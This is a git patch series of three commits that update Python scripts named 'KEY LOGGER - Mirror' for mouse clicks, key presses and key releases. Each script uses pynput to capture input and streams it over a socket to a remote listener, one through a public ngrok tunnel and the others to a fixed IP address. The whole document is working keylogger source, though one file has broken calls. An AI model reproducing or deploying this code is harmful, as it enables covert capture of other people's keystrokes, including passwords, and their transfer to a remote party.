From b044e3f78705e4401e7b7ba5e86c0657e78c04e7 Mon Sep 17 00:00:00 2001 From: zd Date: Thu, 10 Dec 2020 18:04:23 +0000 Subject: [PATCH 1/3] Update 'Server/KEY LOGGER - Mirror - MOUSE.py' --- Server/KEY LOGGER - Mirror - MOUSE.py | 139 +++++++++++--------------- 1 file changed, 58 insertions(+), 81 deletions(-) diff --git a/Server/KEY LOGGER - Mirror - MOUSE.py b/Server/KEY LOGGER - Mirror - MOUSE.py index 67edfa2..ee879b1 100644 --- a/Server/KEY LOGGER - Mirror - MOUSE.py +++ b/Server/KEY LOGGER - Mirror - MOUSE.py @@ -1,81 +1,58 @@ -import socket -import os -from pynput import keyboard -from pynput.mouse import Button, Controller -from pynput import mouse - -MOUSE = Controller() - - - -SEPARATOR = "" -BUFFER_SIZE = 128 # send 4096 bytes each time step - -host = "10.4.27.243" -# the ip address or hostname of the server, the receiver -# the port, let's use 10002 -port = 10002 -# the name of file we want to send, make sure it exists -filename = "dataM.txt" -# get the file size -filesize = os.path.getsize("dataM.txt") - - - -# create the client socket -s = socket.socket() -print(f"[+] Connecting to {host}:{port}") -s.connect((host, port)) -print("[+] Connected.") -# send the filename and filesize -s.send(f"{filename}{SEPARATOR}{filesize}".encode()) - -def sendfile(): - # start sending the file - with open(filename, "rb") as f: - while True: - # read the bytes from the file - bytes_read = f.read(BUFFER_SIZE) - if not bytes_read: - # file transmitting is done - break - # we use sendall to assure transimission in - # busy networks - s.sendall(bytes_read) - # close the socket - #s.close() - -############################################################################## - - -def on_click(x, y, button, pressed): - print(button) - - text_file = open("dataM.txt", "w") - if button == "Button.left": - text_file.write(str("R")) - else: - text_file.write(str("L")) - - text_file.close() - text_file = open("dataM.txt", "a") - text_file.write(str(x)) - text_file.write(",") - text_file.write(str(y)) - text_file.close() - sendfile() - - - - - - -with mouse.Listener( - - on_click = on_click) as listener: - - listener.join() - - -############################################################################### - +import socket +import os +from pynput import keyboard +from pynput.mouse import Button, Controller +from pynput import mouse + +MOUSE = Controller() +dataToSend = "" + + +SEPARATOR = "" +BUFFER_SIZE = 128 # send 4096 bytes each time step + +host = "4.tcp.ngrok.io" +# the ip address or hostname of the server, the receiver +# the port, let's use 10002 +port = 17058 +# the name of file we want to send, make sure it exists +# get the file size + + + +# create the client socket +s = socket.socket() +print(f"[+] Connecting to {host}:{port}") +s.connect((host, port)) +print("[+] Connected.") +# send the filename and filesize +#s.send(f"{filename}{SEPARATOR}{filesize}".encode()) + + + +############################################################################## + + +def on_click(x, y, button, pressed): + + if button == "Button.left": + dataToSend = ("L") + else: + dataToSend = ("R") + + dataToSend = dataToSend + str(x) + "," + str(y) + dataToSendBytes = dataToSend.encode() + s.sendall(dataToSendBytes) + + + + + +with mouse.Listener( + + on_click = on_click) as listener: + + listener.join() + + +############################################################################### From e48ce32587904b7cbc5677d89fc5ecbfba7c81ab Mon Sep 17 00:00:00 2001 From: zd Date: Thu, 10 Dec 2020 18:05:04 +0000 Subject: [PATCH 2/3] Update 'Server/KEY LOGGER - Mirror - KEYBOARD - release.py' --- ...EY LOGGER - Mirror - KEYBOARD - release.py | 143 ++++++++---------- 1 file changed, 62 insertions(+), 81 deletions(-) diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py index 8e06d36..44e2bfc 100644 --- a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py +++ b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py @@ -1,81 +1,62 @@ -import socket -import os -from tkinter import * -from pynput import keyboard - -#ipFile = open("IP.txt") -#IP = ipFile.read() -#ipFile.close() - - -#window = Tk() -#label = Label(window, text= 'What is the IP') -#entry = Entry(window, width=200) -#entry.insert(END, IP) -#label.pack() -#entry.pack() - - - -SEPARATOR = "" -BUFFER_SIZE = 128 # send 4096 bytes each time step - -host = "10.4.27.243" -# the ip address or hostname of the server, the receiver -# the port, let's use 5001 -port = 10003 -# the name of file we want to send, make sure it exists -filename = "dataKR.txt" -# get the file size -filesize = os.path.getsize("dataKR.txt") - -#IPfile = open("IPfile.txt", "w") -#text_file.write(host) -#text_file.close() - - - -# create the client socket -s = socket.socket() -print(f"[+] Connecting to {host}:{port}") -s.connect((host, port)) -print("[+] Connected.") -# send the filename and filesize -s.send(f"{filename}{SEPARATOR}{filesize}".encode()) - -def sendfile(): - # start sending the file - with open(filename, "rb") as f: - while True: - # read the bytes from the file - bytes_read = f.read(BUFFER_SIZE) - if not bytes_read: - # file transmitting is done - break - # we use sendall to assure transimission in - # busy networks - s.sendall(bytes_read) - # close the socket - #s.close() - -#----------------------------------------------------------- - - -def on_release(key): - text_file = open(filename, "w") - text_file.write(('{}'.format(key)).replace("'", "")) - text_file.close() - sendfile() - -def on_press(key): - print("\n") - - - - -with keyboard.Listener(on_press = on_press, on_release = on_release) as listener: - listener.join() - - -#----------------------------------------- - +import socket +import os +from tkinter import * +from pynput import keyboard + +#window = Tk() +#label = Label(window, text= 'What is the IP') +#entry = Entry(browser_window, width=200) +#entry.insert(END, IP) +#label.pack() +#entry.pack() + + + +SEPARATOR = "" +BUFFER_SIZE = 128 # send 4096 bytes each time step + +host = "10.4.27.243" +# the ip address or hostname of the server, the receiver +# the port, let's use 5001 +port = 10001 + +#IPfile = open("IPfile.txt", "w") +#text_file.write("¬") +#text_file.close() + + + + + + + +# create the client socket +s = socket.socket() +print(f"[+] Connecting to {host}:{port}") +s.connect((host, port)) +print("[+] Connected.") + + + +#----------------------------------------------------------- + + +def on_press(key): + dataToSend = "" + dataToSend.write(('{}'.format(key)).replace("'", "")) + sendfile() + dataToSendBytes = dataToSend.encode() + s.sendall(dataToSendBytes) + + + +with keyboard.Listener( + + on_press = on_press) as listener: + + listener.join() + + +#----------------------------------------- + + From 88dbb213a97fbdff1b9afcb798cff67d7efd71c3 Mon Sep 17 00:00:00 2001 From: zd Date: Thu, 10 Dec 2020 18:07:09 +0000 Subject: [PATCH 3/3] Update 'Server/KEY LOGGER - Mirror - KEYBOARD- press.py' release --- .../KEY LOGGER - Mirror - KEYBOARD- press.py | 134 +++++++----------- 1 file changed, 54 insertions(+), 80 deletions(-) diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py index b62b1de..fbb427c 100644 --- a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py +++ b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py @@ -1,80 +1,54 @@ -import socket -import os -from tkinter import * -from pynput import keyboard - -#window = Tk() -#label = Label(window, text= 'What is the IP') -#entry = Entry(browser_window, width=200) -#entry.insert(END, IP) -#label.pack() -#entry.pack() - - - -SEPARATOR = "" -BUFFER_SIZE = 128 # send 4096 bytes each time step - -host = "10.4.27.243" -# the ip address or hostname of the server, the receiver -# the port, let's use 5001 -port = 10001 -# the name of file we want to send, make sure it exists -filename = "dataKP.txt" -# get the file size -filesize = os.path.getsize("dataKP.txt") - -#IPfile = open("IPfile.txt", "w") -#text_file.write("¬") -#text_file.close() - - - - - - - -# create the client socket -s = socket.socket() -print(f"[+] Connecting to {host}:{port}") -s.connect((host, port)) -print("[+] Connected.") -# send the filename and filesize -s.send(f"{filename}{SEPARATOR}{filesize}".encode()) - -def sendfile(): - # start sending the file - with open(filename, "rb") as f: - while True: - # read the bytes from the file - bytes_read = f.read(BUFFER_SIZE) - if not bytes_read: - # file transmitting is done - break - # we use sendall to assure transimission in - # busy networks - s.sendall(bytes_read) - # close the socket - #s.close() - -#----------------------------------------------------------- - - -def on_press(key): - text_file = open("dataKP.txt", "w") - text_file.write(('{}'.format(key)).replace("'", "")) - text_file.close() - sendfile() - - - - -with keyboard.Listener( - - on_press = on_press) as listener: - - listener.join() - - -#----------------------------------------- - +import socket +import os +from tkinter import * +from pynput import keyboard + +#ipFile = open("IP.txt") +#IP = ipFile.read() +#ipFile.close() + + +#window = Tk() +#label = Label(window, text= 'What is the IP') +#entry = Entry(window, width=200) +#entry.insert(END, IP) +#label.pack() +#entry.pack() + + + +SEPARATOR = "" +BUFFER_SIZE = 128 # send 4096 bytes each time step + +host = "10.4.27.243" +# the ip address or hostname of the server, the receiver +# the port, let's use 5001 +port = 10003 + +# create the client socket +s = socket.socket() +print(f"[+] Connecting to {host}:{port}") +s.connect((host, port)) +print("[+] Connected.") + + +#----------------------------------------------------------- + + +def on_release(key): + dataToSend = (('{}'.format(key)).replace("'", "")) + dataToSendBytes = dataToSend.encode() + s.sendall(dataToSendBytes) + +def on_press(key): + print("\n") + + + + +with keyboard.Listener(on_press = on_press, on_release = on_release) as listener: + listener.join() + + +#----------------------------------------- +